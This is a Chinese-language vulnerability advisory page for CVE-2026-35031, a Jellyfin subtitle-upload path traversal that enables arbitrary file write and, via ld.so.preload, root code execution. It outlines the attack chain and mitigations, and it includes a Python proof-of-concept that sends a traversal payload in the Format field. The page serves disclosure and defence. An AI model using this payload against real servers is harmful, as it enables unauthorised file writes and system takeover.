IPBUF安全漏洞报告
English
CVE-2026-35031 CVSS 9.9 严重

CVE-2026-35031 Jellyfin 任意文件写入致RCE漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-35031
漏洞类型
远程代码执行 (RCE), 路径遍历
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jellyfin

相关标签

RCE路径遍历Jellyfin任意文件写入CVSS-9.9

漏洞概述

Jellyfin媒体服务器在10.11.7版本之前的字幕上传端点存在漏洞。由于Format字段缺乏校验,攻击者可通过路径遍历实现任意文件写入,进而利用.strm文件读取数据库、提权并最终通过ld.so.preload导致远程代码执行。

技术细节

该漏洞的核心在于Jellyfin字幕上传端点(POST /Videos/{itemId}/Subtitles)对Format参数的校验缺失。攻击者可利用此缺陷绕过目录限制,通过精心构造的文件扩展名实施路径遍历攻击,从而在服务器上实现任意文件写入。进一步的利用链包括:首先上传特制的.strm文件,利用文件读取功能访问服务器数据库,提取敏感信息以进行权限提升;最终,攻击者向系统写入ld.so.preload配置文件,劫持动态链接库加载过程,在系统启动或服务重启时执行任意代码,成功获取Root级别的系统控制权。整个攻击过程虽然技术复杂,但仅需管理员或拥有字幕上传权限的账户即可触发,危害极大。

攻击链分析

STEP 1
权限获取
攻击者获取管理员账户或被授予“上传字幕”权限的用户账户。
STEP 2
路径遍历与文件写入
利用字幕上传接口,通过构造恶意的Format字段(文件扩展名)进行路径遍历,实现任意文件写入。
STEP 3
数据库提取
上传.strm文件来读取服务器上的任意文件,提取数据库内容以获取敏感凭据。
STEP 4
权限提升
利用获取的凭据进行提权,获得更高系统权限。
STEP 5
远程代码执行
写入ld.so.preload文件,劫持动态链接库加载过程,实现Root权限的RCE。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-35031: Jellyfin Arbitrary File Write # This script demonstrates the path traversal vulnerability in the subtitle upload endpoint. # Note: Requires authentication and "Upload Subtitles" permission. import requests target_url = "http://target-jellyfin-server:8096" item_id = "VALID_MEDIA_ITEM_ID" # A valid media item ID on the server api_key = "USER_API_KEY" # Valid API key or session token traversal_payload = "../../../tmp/test_poc.txt" # Path traversal payload headers = { "Authorization": f"MediaBrowser Token={api_key}", "X-Emby-Token": f"{api_key}" } # Step 1: Upload arbitrary file via path traversal upload_url = f"{target_url}/Videos/{item_id}/Subtitles" data = { "Format": traversal_payload # Vulnerable parameter } files = { "Language": (None, "eng"), "Data": ("test.txt", b"Malicious content for arbitrary write") } response = requests.post(upload_url, headers=headers, data=data, files=files) if response.status_code == 204: print("[+] Arbitrary file write successful.") else: print(f"[-] Upload failed: {response.status_code}")

影响范围

Jellyfin < 10.11.7

防御指南

临时缓解措施
建议立即升级至10.11.7版本。若无法升级,请撤销非管理员用户的“上传字幕”权限,以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表